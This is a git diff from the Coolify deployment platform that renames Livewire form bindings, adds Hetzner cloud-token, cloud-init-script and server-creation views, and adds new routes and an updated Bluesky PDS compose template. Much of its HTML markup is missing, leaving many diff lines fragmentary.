- @if ($database->enable_ssl && $certificateValidUntil) + @if ($enableSsl && $certificateValidUntil) Valid until: @if (now()->gt($certificateValidUntil)) {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired @@ -107,20 +107,20 @@
@if ($database->isExited()) - @else - @endif
- @if ($database->enable_ssl) + @if ($enableSsl)
@if ($database->isExited()) - @@ -131,7 +131,7 @@ @else - @@ -161,16 +161,16 @@ @endif
-
- +
+ id="postgresConf" canGate="update" :canResource="$database" />
@@ -178,7 +178,7 @@

Advanced

@@ -201,7 +201,7 @@ @endcan
- @forelse(data_get($database,'init_scripts', []) as $script) + @forelse($initScripts ?? [] as $script) @empty
No initialization scripts found.
diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index 66e913be0..7ffc8f218 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -7,9 +7,9 @@
- - - + +
@@ -19,19 +19,19 @@ automations won't work.
Changing them here will not change the values in the database.
- @if (version_compare($redis_version, '6.0', '>=')) - =')) + @endif -
@else
You can only change the username and password in the database after initial start.
- @if (version_compare($redis_version, '6.0', '>=')) - =')) + @endif - Note: Not all options are supported, as they could mess up Coolify's automation and could cause bad experience for users.

Check the docs." placeholder="--cap-add SYS_ADMIN --device=/dev/fuse --security-opt apparmor:unconfined --ulimit nofile=1024:1024 --tmpfs /run:rw,noexec,nosuid,size=65536k" - id="database.custom_docker_run_options" label="Custom Docker Options" canGate="update" :canResource="$database" /> + id="customDockerRunOptions" label="Custom Docker Options" canGate="update" :canResource="$database" />

Network

-
- @if ($db_url_public) + type="password" readonly wire:model="dbUrl" canGate="update" :canResource="$database" /> + @if ($dbUrlPublic) + type="password" readonly wire:model="dbUrlPublic" canGate="update" :canResource="$database" /> @endif

SSL Configuration

- @if ($database->enable_ssl && $certificateValidUntil) + @if ($enableSsl && $certificateValidUntil) Valid until: @if (now()->gt($certificateValidUntil)) {{ $certificateValidUntil->format('d.m.Y H:i:s') }} - Expired @@ -98,12 +98,12 @@
@if (str($database->status)->contains('exited')) - @else - @endif @@ -117,23 +117,23 @@

Proxy

- @if (data_get($database, 'is_public')) + @if ($isPublic) Proxy Logs - Logs @endif
-
- +

⚠️ Important: Coolify automatically applies the requirepass directive using the password shown in the Password field above. If you override requirepass in your custom configuration, make sure it matches the password field to avoid authentication issues.

🔗 Tip: View the full Redis default configuration to see what options are available." - label="Custom Redis Configuration" rows="10" id="database.redis_conf" canGate="update" + label="Custom Redis Configuration" rows="10" id="redisConf" canGate="update" :canResource="$database" /> @@ -149,7 +149,7 @@

Advanced

diff --git a/resources/views/livewire/project/new/docker-compose.blade.php b/resources/views/livewire/project/new/docker-compose.blade.php index 661e11b7e..bdf1cea24 100644 --- a/resources/views/livewire/project/new/docker-compose.blade.php +++ b/resources/views/livewire/project/new/docker-compose.blade.php @@ -7,7 +7,7 @@ Save
Dockerfile Save
- WARNING. You could corrupt your data. Only do it if you know what you are doing." - label="Image" id="database.image">
+ label="Image" id="image">
- - +
@if ($db_url_public) + id="excludeFromStatus"> + instantSave="instantSaveLogDrain" id="isLogDrainEnabled" label="Drain Logs" />
diff --git a/resources/views/livewire/project/service/edit-compose.blade.php b/resources/views/livewire/project/service/edit-compose.blade.php index df0b857b5..313240849 100644 --- a/resources/views/livewire/project/service/edit-compose.blade.php +++ b/resources/views/livewire/project/service/edit-compose.blade.php @@ -6,24 +6,24 @@
- +
+ id="dockerComposeRaw">
- +
+ id="isContainerLabelEscapeEnabled" instantSave>
diff --git a/resources/views/livewire/project/service/edit-domain.blade.php b/resources/views/livewire/project/service/edit-domain.blade.php index 9d30957f0..a126eca5b 100644 --- a/resources/views/livewire/project/service/edit-domain.blade.php +++ b/resources/views/livewire/project/service/edit-domain.blade.php @@ -3,7 +3,7 @@
Note: If a service has a defined port, do not delete it.
If you want to use your custom domain, you can add it with a port.
Save diff --git a/resources/views/livewire/project/service/file-storage.blade.php b/resources/views/livewire/project/service/file-storage.blade.php index dc8f949fa..4ab966ec3 100644 --- a/resources/views/livewire/project/service/file-storage.blade.php +++ b/resources/views/livewire/project/service/file-storage.blade.php @@ -60,12 +60,12 @@ @if (data_get($resource, 'settings.is_preserve_repository_enabled'))
+ id="isBasedOnGit">
@endif @if (!$fileStorage->is_based_on_git && !$fileStorage->is_binary) Save @@ -74,12 +74,12 @@ @if (data_get($resource, 'settings.is_preserve_repository_enabled'))
+ id="isBasedOnGit">
@endif + rows="20" id="content" disabled> @endcan @endif @else @@ -88,12 +88,12 @@ @if (data_get($resource, 'settings.is_preserve_repository_enabled'))
+ id="isBasedOnGit">
@endif + rows="20" id="content" disabled> @endif @endif diff --git a/resources/views/livewire/project/service/service-application-view.blade.php b/resources/views/livewire/project/service/service-application-view.blade.php index 4c8dbe61c..b95dc6540 100644 --- a/resources/views/livewire/project/service/service-application-view.blade.php +++ b/resources/views/livewire/project/service/service-application-view.blade.php @@ -23,48 +23,48 @@
- + id="description">
@if (!$application->serviceType()?->contains(str($application->image)->before(':'))) @if ($application->required_fqdn) @else @endif @endif + label="Image" id="image">

Advanced

@if (str($application->image)->contains('pocketbase')) - @else - @endif - + id="excludeFromStatus"> + instantSave="instantSaveAdvanced" id="isLogDrainEnabled" label="Drain Logs" />
diff --git a/resources/views/livewire/project/service/stack-form.blade.php b/resources/views/livewire/project/service/stack-form.blade.php index fff6524ce..5a8a3e420 100644 --- a/resources/views/livewire/project/service/stack-form.blade.php +++ b/resources/views/livewire/project/service/stack-form.blade.php @@ -15,11 +15,11 @@
Configuration
- - + +
-
@if ($fields->count() > 0) diff --git a/resources/views/livewire/project/shared/health-checks.blade.php b/resources/views/livewire/project/shared/health-checks.blade.php index ed64ff28e..730353c87 100644 --- a/resources/views/livewire/project/shared/health-checks.blade.php +++ b/resources/views/livewire/project/shared/health-checks.blade.php @@ -2,7 +2,7 @@

Healthchecks

Save - @if (!$resource->health_check_enabled) + @if (!$healthCheckEnabled)
Define how your resource's health should be checked.
- @if ($resource->custom_healthcheck_found) + @if ($customHealthcheckFound)

A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.

@endif
- + - + - - + - +
- - +
- - - - +
diff --git a/resources/views/livewire/project/shared/resource-limits.blade.php b/resources/views/livewire/project/shared/resource-limits.blade.php index 2aa2fd0af..99ff249e9 100644 --- a/resources/views/livewire/project/shared/resource-limits.blade.php +++ b/resources/views/livewire/project/shared/resource-limits.blade.php @@ -9,32 +9,32 @@
+ label="Number of CPUs" id="limitsCpus" /> + label="CPU sets to use" id="limitsCpuset" /> + label="CPU Weight" id="limitsCpuShares" />

Limit Memory

+ label="Soft Memory Limit" id="limitsMemoryReservation" /> + id="limitsMemorySwappiness" />
+ label="Maximum Memory Limit" id="limitsMemory" /> + label="Maximum Swap Limit" id="limitsMemorySwap" />
diff --git a/resources/views/livewire/project/shared/storages/show.blade.php b/resources/views/livewire/project/shared/storages/show.blade.php index 798a97d94..6881e3b10 100644 --- a/resources/views/livewire/project/shared/storages/show.blade.php +++ b/resources/views/livewire/project/shared/storages/show.blade.php @@ -9,47 +9,47 @@ @if ( $storage->resource_type === 'App\Models\ServiceApplication' || $storage->resource_type === 'App\Models\ServiceDatabase') - @else - @endif @if ($isService || $startedAt) - - @else - - @endif
@else
- - - + + +
@endif @else @can('update', $resource) @if ($isFirst)
- - - + +
@else
- - - + + +
@endif
@@ -67,17 +67,17 @@ @else @if ($isFirst)
- - + -
@else
- - - + + +
@endif @endcan diff --git a/resources/views/livewire/security/api-tokens.blade.php b/resources/views/livewire/security/api-tokens.blade.php index bf6bcf76c..b1f25a584 100644 --- a/resources/views/livewire/security/api-tokens.blade.php +++ b/resources/views/livewire/security/api-tokens.blade.php @@ -7,7 +7,7 @@

API Tokens

@if (!$isApiEnabled)
API is disabled. If you want to use the API, please enable it in the Settings menu.
+ href="{{ route('settings.advanced') }}" class="underline dark:text-white">Settings menu.
@else
Tokens are created with the current team as scope.
diff --git a/resources/views/livewire/security/cloud-init-script-form.blade.php b/resources/views/livewire/security/cloud-init-script-form.blade.php new file mode 100644 index 000000000..83bedffab --- /dev/null +++ b/resources/views/livewire/security/cloud-init-script-form.blade.php @@ -0,0 +1,17 @@ +
+ + + + +
+ @if ($modal_mode) + + Cancel + + @endif + + {{ $scriptId ? 'Update Script' : 'Create Script' }} + +
+ \ No newline at end of file diff --git a/resources/views/livewire/security/cloud-init-scripts.blade.php b/resources/views/livewire/security/cloud-init-scripts.blade.php new file mode 100644 index 000000000..e2013a4fb --- /dev/null +++ b/resources/views/livewire/security/cloud-init-scripts.blade.php @@ -0,0 +1,50 @@ +
+ +
+

Cloud-Init Scripts

+ @can('create', App\Models\CloudInitScript::class) + + + + @endcan +
+
Manage reusable cloud-init scripts for server initialization. Currently working only with Hetzner's integration.
+ +
+ @forelse ($scripts as $script) +
+
+
+
{{ $script->name }}
+
+ Created {{ $script->created_at->diffForHumans() }} +
+
+
+ +
+ @can('update', $script) + + + + @endcan + + @can('delete', $script) + + @endcan +
+
+ @empty +
No cloud-init scripts found. Create one to get started.
+ @endforelse +
+
diff --git a/resources/views/livewire/security/cloud-provider-token-form.blade.php b/resources/views/livewire/security/cloud-provider-token-form.blade.php new file mode 100644 index 000000000..31bd76252 --- /dev/null +++ b/resources/views/livewire/security/cloud-provider-token-form.blade.php @@ -0,0 +1,70 @@ +
+
+ @if ($modal_mode) + {{-- Modal layout: vertical, compact --}} + @if (!isset($provider) || empty($provider) || $provider === '') + + + + + @else + + @endif + + + + + + @if (auth()->user()->currentTeam()->cloudProviderTokens->where('provider', $provider)->isEmpty()) +
+ Create an API token in the {{ ucfirst($provider) }} Console → choose + Project → Security → API Tokens. + @if ($provider === 'hetzner') +

+ Don't have a Hetzner account? Sign up here +
+ (Coolify's affiliate link, only new accounts - supports us (€10) + and gives you €20) + @endif +
+ @endif + + Validate & Add Token + @else + {{-- Full page layout: horizontal, spacious --}} +
+
+ + + + +
+
+ +
+
+
+ + @if (auth()->user()->currentTeam()->cloudProviderTokens->where('provider', $provider)->isEmpty()) +
+ Create an API token in the Hetzner Console → choose Project → Security → API + Tokens. +

+ Don't have a Hetzner account? Sign up here +
+ (Coolify's affiliate link, only new accounts - supports us (€10) + and gives you €20) +
+ @endif +
+ Validate & Add Token + @endif + +
diff --git a/resources/views/livewire/security/cloud-provider-tokens.blade.php b/resources/views/livewire/security/cloud-provider-tokens.blade.php new file mode 100644 index 000000000..b3239c4a8 --- /dev/null +++ b/resources/views/livewire/security/cloud-provider-tokens.blade.php @@ -0,0 +1,40 @@ +
+

Cloud Provider Tokens

+
Manage API tokens for cloud providers (Hetzner, DigitalOcean, etc.).
+ +

New Token

+ @can('create', App\Models\CloudProviderToken::class) + + @endcan + +

Saved Tokens

+
+ @forelse ($tokens as $savedToken) +
+
+ + {{ strtoupper($savedToken->provider) }} + + {{ $savedToken->name }} +
+
Created: {{ $savedToken->created_at->diffForHumans() }}
+ + @can('delete', $savedToken) + + @endcan +
+ @empty +
+
No cloud provider tokens found.
+
+ @endforelse +
+
diff --git a/resources/views/livewire/security/cloud-tokens.blade.php b/resources/views/livewire/security/cloud-tokens.blade.php new file mode 100644 index 000000000..2edbcd30f --- /dev/null +++ b/resources/views/livewire/security/cloud-tokens.blade.php @@ -0,0 +1,7 @@ +
+ + Cloud Tokens | Coolify + + + +
diff --git a/resources/views/livewire/security/private-key/index.blade.php b/resources/views/livewire/security/private-key/index.blade.php index 47cfc9b1e..c51c7a00a 100644 --- a/resources/views/livewire/security/private-key/index.blade.php +++ b/resources/views/livewire/security/private-key/index.blade.php @@ -14,22 +14,41 @@
@forelse ($privateKeys as $key) - -
-
- {{ data_get($key, 'name') }} + @can('view', $key) + {{-- Admin/Owner: Clickable link --}} + +
+
+ {{ data_get($key, 'name') }} +
+
+ {{ $key->description }} + @if (!$key->isInUse()) + Unused + @endif +
-
- {{ $key->description }} - @if (!$key->isInUse()) - Unused - @endif + + @else + {{-- Member: Visible but not clickable --}} +
+
+
+ {{ data_get($key, 'name') }} + View Only +
+
+ {{ $key->description }} + @if (!$key->isInUse()) + Unused + @endif +
-
- + @endcan @empty
No private keys found.
@endforelse diff --git a/resources/views/livewire/security/private-key/show.blade.php b/resources/views/livewire/security/private-key/show.blade.php index 8668cfd34..7d90b5005 100644 --- a/resources/views/livewire/security/private-key/show.blade.php +++ b/resources/views/livewire/security/private-key/show.blade.php @@ -27,8 +27,8 @@
- - + +
@@ -46,17 +46,17 @@ Hide
- @if (data_get($private_key, 'is_git_related')) + @if ($isGitRelated)
- +
@endif
-
- +
diff --git a/resources/views/livewire/server/cloud-provider-token/show.blade.php b/resources/views/livewire/server/cloud-provider-token/show.blade.php new file mode 100644 index 000000000..6fb65c411 --- /dev/null +++ b/resources/views/livewire/server/cloud-provider-token/show.blade.php @@ -0,0 +1,61 @@ +
+ + {{ data_get_str($server, 'name')->limit(10) }} > Hetzner Token | Coolify + + +
+ +
+ @if ($server->hetzner_server_id) +
+

Hetzner Token

+ @can('create', App\Models\CloudProviderToken::class) + + + + @endcan + + Validate token + +
+
Change your server's Hetzner token.
+
+ @forelse ($cloudProviderTokens as $token) +
+
+
{{ $token->name }}
+
+ Created {{ $token->created_at->diffForHumans() }} +
+
+ @if (data_get($server, 'cloudProviderToken.id') !== $token->id) + + Use this token + + @else + + Currently used + + @endif +
+ @empty +
No Hetzner tokens found.
+ @endforelse +
+ @else +
+

Hetzner Token

+
+
This server was not created through Hetzner Cloud integration.
+
+

+ Only servers created through Hetzner Cloud can have their tokens managed here. +

+
+ @endif +
+
+
diff --git a/resources/views/livewire/server/create.blade.php b/resources/views/livewire/server/create.blade.php index acab92374..0f178bd34 100644 --- a/resources/views/livewire/server/create.blade.php +++ b/resources/views/livewire/server/create.blade.php @@ -1,3 +1,34 @@
- +
+ @can('viewAny', App\Models\CloudProviderToken::class) +
+ + +
+
+ + + + +
+
Connect a Hetzner Server
+
+ Deploy servers directly from your Hetzner Cloud account +
+
+
+
+
+ +
+
+ +
+ @endcan + +
+

Add Server by IP Address

+ +
+
diff --git a/resources/views/livewire/server/delete.blade.php b/resources/views/livewire/server/delete.blade.php index c61775ee8..073849452 100644 --- a/resources/views/livewire/server/delete.blade.php +++ b/resources/views/livewire/server/delete.blade.php @@ -15,16 +15,15 @@
@if ($server->definedResources()->count() > 0)
You need to delete all resources before deleting this server.
- - @else - @endif + + @endif
diff --git a/resources/views/livewire/server/new/by-hetzner.blade.php b/resources/views/livewire/server/new/by-hetzner.blade.php new file mode 100644 index 000000000..f33136e0e --- /dev/null +++ b/resources/views/livewire/server/new/by-hetzner.blade.php @@ -0,0 +1,203 @@ +
+ @if ($limit_reached) + + @else + @if ($current_step === 1) +
+ @if ($available_tokens->count() > 0) +
+
+ + + @foreach ($available_tokens as $token) + + @endforeach + +
+
+ + Continue + +
+
+ +
OR
+ @endif + + + + +
+ @elseif ($current_step === 2) + @if ($loading_data) +
+
+
+

Loading Hetzner data...

+
+
+ @else +
+
+ +
+ +
+ + + @foreach ($locations as $location) + + @endforeach + +
+ +
+ + + @foreach ($this->availableServerTypes as $serverType) + + @endforeach + +
+ +
+ + + @foreach ($this->availableImages as $image) + + @endforeach + +
+ +
+ @if ($private_keys->count() === 0) +
+ +
+

+ No private keys found. You need to create a private key to continue. +

+ + + +
+
+ @else + + + @foreach ($private_keys as $key) + + @endforeach + +

+ This SSH key will be automatically added to your Hetzner account and used to access the + server. +

+ @endif +
+
+ + @foreach ($hetznerSshKeys as $sshKey) + + @endforeach + +
+ +
+ +
+ + +
+
+ +
+
+ + @if ($saved_cloud_init_scripts->count() > 0) +
+ + + @foreach ($saved_cloud_init_scripts as $script) + + @endforeach + + + Clear + +
+ @endif +
+ + +
+ +
+ +
+
+
+ +
+ + Back + + + Buy & Create Server{{ $this->selectedServerPrice ? ' (' . $this->selectedServerPrice . '/mo)' : '' }} + +
+
+ @endif + @endif + @endif +
\ No newline at end of file diff --git a/resources/views/livewire/server/proxy.blade.php b/resources/views/livewire/server/proxy.blade.php index c46a114d8..46859095f 100644 --- a/resources/views/livewire/server/proxy.blade.php +++ b/resources/views/livewire/server/proxy.blade.php @@ -26,7 +26,7 @@
+
{{ data_get_str($server, 'name')->limit(10) }} > General | Coolify @@ -9,6 +9,89 @@

General

+ @if ($server->hetzner_server_id) +
+
+ + + + + @if ($hetznerServerStatus) + + @if (in_array($hetznerServerStatus, ['starting', 'initializing'])) + + + + + + @endif + $hetznerServerStatus === 'running', + 'text-red-500' => $hetznerServerStatus === 'off', + ])> + {{ ucfirst($hetznerServerStatus) }} + + + @else + + + + + + + Checking status... + + @endif +
+ + +
+ @if ($server->cloudProviderToken && !$server->isFunctional() && $hetznerServerStatus === 'off') + + Power On + + @endif + @endif + @if ($isValidating) +
+ + + + + + Validating... +
+ @endif @if ($server->id === 0) @else - Save + Save @if ($server->isFunctional()) Validate & configure @@ -36,7 +120,21 @@ @else You can't use this server until it is validated. @endif - @if ((!$isReachable || !$isUsable) && $server->id !== 0) + @if ($isValidating) +
+ + Validation in Progress + + + + +
+ @endif + @if ( + (!$isReachable || !$isUsable) && + $server->id !== 0 && + !$isValidating && + !in_array($hetznerServerStatus, ['initializing', 'starting', 'stopping', 'off'])) Validate & configure @@ -69,12 +167,15 @@ class="mt-8 mb-4 w-full font-bold box-without-bg bg-coollabs hover:bg-coollabs-1 @endif
- - + + @if (!$isSwarmWorker && !$isBuildServer) + helper='A wildcard domain allows you to receive a randomly generated domain for your new applications.

For instance, if you set "https://example.com" as your wildcard domain, your applications will receive domains like "https://randomId.example.com".' + :disabled="$isValidating" /> @endif
@@ -82,11 +183,12 @@ class="mt-8 mb-4 w-full font-bold box-without-bg bg-coollabs hover:bg-coollabs-1 + required :disabled="$isValidating" />
- + + label="Port" required :disabled="$isValidating" />
@@ -96,53 +198,72 @@ class="mt-8 mb-4 w-full font-bold box-without-bg bg-coollabs hover:bg-coollabs-1 helper="Server's timezone. This is used for backups, cron jobs, etc." />
@can('update', $server) -
+ @if ($isValidating)
- - +
-
- +
+ @else +
+
+
+ + + + +
+
+ +
-
+ @endif @else
- + @@ -160,7 +281,7 @@ class="w-full input opacity-50 cursor-not-allowed" label="Use it as a build server?" /> @else + id="isBuildServer" label="Use it as a build server?" :disabled="$isValidating" /> @endif
@@ -180,7 +301,7 @@ class="w-full input opacity-50 cursor-not-allowed" + label="Is it a Swarm Manager?" :disabled="$isValidating" /> @endif @if ($server->settings->is_swarm_manager) @@ -191,7 +312,7 @@ class="w-full input opacity-50 cursor-not-allowed" + label="Is it a Swarm Worker?" :disabled="$isValidating" /> @endif
@endif @@ -208,32 +329,34 @@ class="w-full input opacity-50 cursor-not-allowed"
@if ($server->isSentinelLive()) - Save - Restart + Save + Restart Sentinel Logs - Logs + Logs @else - Save - Sync + Save + Sync Sentinel Logs - Logs + Logs @endif
@@ -242,14 +365,14 @@ class="w-full input opacity-50 cursor-not-allowed"
+ label="Enable Sentinel" :disabled="$isValidating" /> @if ($server->isSentinelEnabled()) @if (isDev()) + label="Enable Sentinel (with debug)" instantSave :disabled="$isValidating" /> @endif + id="isMetricsEnabled" label="Enable Metrics" :disabled="$isValidating" /> @else @if (isDev()) isSentinelEnabled())
+ label="Sentinel token" required helper="Token for Sentinel." :disabled="$isValidating" /> Regenerate + wire:click="regenerateSentinelToken" :disabled="$isValidating">Regenerate
+ helper="URL to your Coolify instance. If it is empty that means you do not have a FQDN set for your Coolify instance." + :disabled="$isValidating" />
+ helper="Interval used for gathering metrics. Lower values result in more disk space usage." + :disabled="$isValidating" /> + helper="Number of days to retain metrics data for." :disabled="$isValidating" /> + helper="Interval at which metrics data is sent to the collector." + :disabled="$isValidating" />
@endif diff --git a/resources/views/livewire/server/validate-and-install.blade.php b/resources/views/livewire/server/validate-and-install.blade.php index 814f81652..572da85e8 100644 --- a/resources/views/livewire/server/validate-and-install.blade.php +++ b/resources/views/livewire/server/validate-and-install.blade.php @@ -123,6 +123,9 @@ @isset($error)
{!! $error !!}
+ + Retry Validation + @endisset @endif
diff --git a/resources/views/livewire/source/github/change.blade.php b/resources/views/livewire/source/github/change.blade.php index e4d5e5228..7e6256259 100644 --- a/resources/views/livewire/source/github/change.blade.php +++ b/resources/views/livewire/source/github/change.blade.php @@ -42,7 +42,7 @@
- + Sync Name @@ -64,41 +64,41 @@ class="bg-transparent border-transparent hover:bg-transparent hover:border-trans @endcan
- @if (!isCloud())
+ instantSave id="isSystemWide" />
@endif
- - + +
- -
- + id="installationId" label="Installation Id" required />
- - -
- @if (blank($github_app->private_key_id)) @@ -121,14 +121,14 @@ class="bg-transparent border-transparent hover:bg-transparent hover:border-trans @endcan
- - - {{-- --}} -
diff --git a/resources/views/livewire/storage/form.blade.php b/resources/views/livewire/storage/form.blade.php index 23892ec01..850d7735f 100644 --- a/resources/views/livewire/storage/form.blade.php +++ b/resources/views/livewire/storage/form.blade.php @@ -6,7 +6,7 @@
{{ $storage->name }}
Current Status:
- @if ($storage->is_usable) + @if ($isUsable) Usable @@ -32,19 +32,19 @@ class="px-2 py-1 text-xs font-semibold text-red-800 bg-red-100 rounded dark:text @endcan
- - + +
- - - + + +
+ id="key" /> + id="secret" />
@can('validateConnection', $storage) diff --git a/resources/views/livewire/switch-team.blade.php b/resources/views/livewire/switch-team.blade.php index 52500087e..b46c1ecf6 100644 --- a/resources/views/livewire/switch-team.blade.php +++ b/resources/views/livewire/switch-team.blade.php @@ -1,4 +1,4 @@ - + @foreach (auth()->user()->teams as $team) diff --git a/resources/views/livewire/team/index.blade.php b/resources/views/livewire/team/index.blade.php index 21cd0b622..041fa578c 100644 --- a/resources/views/livewire/team/index.blade.php +++ b/resources/views/livewire/team/index.blade.php @@ -11,8 +11,8 @@
- - + + @can('update', $team) Save diff --git a/resources/views/livewire/terminal/index.blade.php b/resources/views/livewire/terminal/index.blade.php index aed2ef55d..0d6e7c559 100644 --- a/resources/views/livewire/terminal/index.blade.php +++ b/resources/views/livewire/terminal/index.blade.php @@ -17,7 +17,7 @@ @if ($servers->count() > 0) - + @foreach ($servers as $server) @if ($loop->first) @@ -31,7 +31,7 @@ @endif @endforeach @endforeach - + Connect @else diff --git a/routes/api.php b/routes/api.php index aead715ae..366a97d74 100644 --- a/routes/api.php +++ b/routes/api.php @@ -66,6 +66,7 @@ Route::match(['get', 'post'], '/deploy', [DeployController::class, 'deploy'])->middleware(['api.ability:deploy']); Route::get('/deployments', [DeployController::class, 'deployments'])->middleware(['api.ability:read']); Route::get('/deployments/{uuid}', [DeployController::class, 'deployment_by_uuid'])->middleware(['api.ability:read']); + Route::post('/deployments/{uuid}/cancel', [DeployController::class, 'cancel_deployment'])->middleware(['api.ability:deploy']); Route::get('/deployments/applications/{uuid}', [DeployController::class, 'get_application_deployments'])->middleware(['api.ability:read']); Route::get('/servers', [ServersController::class, 'servers'])->middleware(['api.ability:read']); @@ -104,6 +105,7 @@ Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']); Route::patch('/github-apps/{github_app_id}', [GithubController::class, 'update_github_app'])->middleware(['api.ability:write']); Route::delete('/github-apps/{github_app_id}', [GithubController::class, 'delete_github_app'])->middleware(['api.ability:write']); @@ -124,6 +126,7 @@ Route::get('/databases/{uuid}/backups', [DatabasesController::class, 'database_backup_details_uuid'])->middleware(['api.ability:read']); Route::get('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions', [DatabasesController::class, 'list_backup_executions'])->middleware(['api.ability:read']); Route::patch('/databases/{uuid}', [DatabasesController::class, 'update_by_uuid'])->middleware(['api.ability:write']); + Route::post('/databases/{uuid}/backups', [DatabasesController::class, 'create_backup'])->middleware(['api.ability:write']); Route::patch('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'update_backup'])->middleware(['api.ability:write']); Route::delete('/databases/{uuid}', [DatabasesController::class, 'delete_by_uuid'])->middleware(['api.ability:write']); Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']); diff --git a/routes/web.php b/routes/web.php index fd2ed8730..703f80ab5 100644 --- a/routes/web.php +++ b/routes/web.php @@ -14,6 +14,7 @@ use App\Livewire\Notifications\Pushover as NotificationPushover; use App\Livewire\Notifications\Slack as NotificationSlack; use App\Livewire\Notifications\Telegram as NotificationTelegram; +use App\Livewire\Notifications\Webhook as NotificationWebhook; use App\Livewire\Profile\Index as ProfileIndex; use App\Livewire\Project\Application\Configuration as ApplicationConfiguration; use App\Livewire\Project\Application\Deployment\Index as DeploymentIndex; @@ -34,12 +35,15 @@ use App\Livewire\Project\Shared\ScheduledTask\Show as ScheduledTaskShow; use App\Livewire\Project\Show as ProjectShow; use App\Livewire\Security\ApiTokens; +use App\Livewire\Security\CloudInitScripts; +use App\Livewire\Security\CloudTokens; use App\Livewire\Security\PrivateKey\Index as SecurityPrivateKeyIndex; use App\Livewire\Security\PrivateKey\Show as SecurityPrivateKeyShow; use App\Livewire\Server\Advanced as ServerAdvanced; use App\Livewire\Server\CaCertificate\Show as CaCertificateShow; use App\Livewire\Server\Charts as ServerCharts; use App\Livewire\Server\CloudflareTunnel; +use App\Livewire\Server\CloudProviderToken\Show as CloudProviderTokenShow; use App\Livewire\Server\Delete as DeleteServer; use App\Livewire\Server\Destinations as ServerDestinations; use App\Livewire\Server\DockerCleanup; @@ -125,6 +129,7 @@ Route::get('/discord', NotificationDiscord::class)->name('notifications.discord'); Route::get('/slack', NotificationSlack::class)->name('notifications.slack'); Route::get('/pushover', NotificationPushover::class)->name('notifications.pushover'); + Route::get('/webhook', NotificationWebhook::class)->name('notifications.webhook'); }); Route::prefix('storages')->group(function () { @@ -247,6 +252,7 @@ Route::get('/', ServerShow::class)->name('server.show'); Route::get('/advanced', ServerAdvanced::class)->name('server.advanced'); Route::get('/private-key', PrivateKeyShow::class)->name('server.private-key'); + Route::get('/cloud-provider-token', CloudProviderTokenShow::class)->name('server.cloud-provider-token'); Route::get('/ca-certificate', CaCertificateShow::class)->name('server.ca-certificate'); Route::get('/resources', ResourcesShow::class)->name('server.resources'); Route::get('/cloudflare-tunnel', CloudflareTunnel::class)->name('server.cloudflare-tunnel'); @@ -271,6 +277,8 @@ // Route::get('/security/private-key/new', SecurityPrivateKeyCreate::class)->name('security.private-key.create'); Route::get('/security/private-key/{private_key_uuid}', SecurityPrivateKeyShow::class)->name('security.private-key.show'); + Route::get('/security/cloud-tokens', CloudTokens::class)->name('security.cloud-tokens'); + Route::get('/security/cloud-init-scripts', CloudInitScripts::class)->name('security.cloud-init-scripts'); Route::get('/security/api-tokens', ApiTokens::class)->name('security.api-tokens'); }); diff --git a/scripts/conductor-setup.sh b/scripts/conductor-setup.sh new file mode 100755 index 000000000..7712f88be --- /dev/null +++ b/scripts/conductor-setup.sh @@ -0,0 +1 @@ +cp $CONDUCTOR_ROOT_PATH/.env .env \ No newline at end of file diff --git a/templates/compose/bluesky-pds.yaml b/templates/compose/bluesky-pds.yaml index 371e67878..3ddc9d608 100644 --- a/templates/compose/bluesky-pds.yaml +++ b/templates/compose/bluesky-pds.yaml @@ -7,61 +7,47 @@ services: pds: - image: 'ghcr.io/bluesky-social/pds:latest' + image: 'ghcr.io/bluesky-social/pds:0.4.182' volumes: - - ./pds-data:/pds + - pds-data:/pds environment: - SERVICE_URL_PDS_3000 - - PDS_HOSTNAME=${SERVICE_URL_PDS} - - PDS_JWT_SECRET=${SERVICE_PASSWORD_JWT_SECRET} - - PDS_ADMIN_PASSWORD=${SERVICE_PASSWORD_ADMIN} - - PDS_ADMIN_EMAIL=${SERVICE_EMAIL_ADMIN} - - PDS_PLC_ROTATION_KEY_K256_PRIVATE_KEY_HEX=${PDS_PLC_ROTATION_KEY_K256_PRIVATE_KEY_HEX} - - PDS_DATA_DIRECTORY=${PDS_DATA_DIRECTORY:-/pds} - - PDS_BLOBSTORE_DISK_LOCATION=${PDS_DATA_DIRECTORY:-/pds}/blocks - - PDS_BLOB_UPLOAD_LIMIT=${PDS_BLOB_UPLOAD_LIMIT:-52428800} - - PDS_DID_PLC_URL=${PDS_DID_PLC_URL:-https://plc.directory} - - PDS_BSKY_APP_VIEW_URL=${PDS_BSKY_APP_VIEW_URL:-https://api.bsky.app} - - PDS_BSKY_APP_VIEW_DID=${PDS_BSKY_APP_VIEW_DID:-did:web:api.bsky.app} - - PDS_REPORT_SERVICE_URL=${PDS_REPORT_SERVICE_URL:-https://mod.bsky.app/xrpc/com.atproto.moderation.createReport} - - PDS_REPORT_SERVICE_DID=${PDS_REPORT_SERVICE_DID:-did:plc:ar7c4by46qjdydhdevvrndac} - - PDS_CRAWLERS=${PDS_CRAWLERS:-https://bsky.network} - - LOG_ENABLED=${LOG_ENABLED:-true} - - command: > + - 'PDS_HOSTNAME=${SERVICE_FQDN_PDS_3000}' + - 'PDS_JWT_SECRET=${SERVICE_HEX_32_JWTSECRET}' + - 'PDS_ADMIN_PASSWORD=${SERVICE_PASSWORD_ADMIN}' + - 'PDS_ADMIN_EMAIL=${PDS_ADMIN_EMAIL}' + - 'PDS_PLC_ROTATION_KEY_K256_PRIVATE_KEY_HEX=${SERVICE_HEX_32_ROTATIONKEY}' + - 'PDS_DATA_DIRECTORY=${PDS_DATA_DIRECTORY:-/pds}' + - 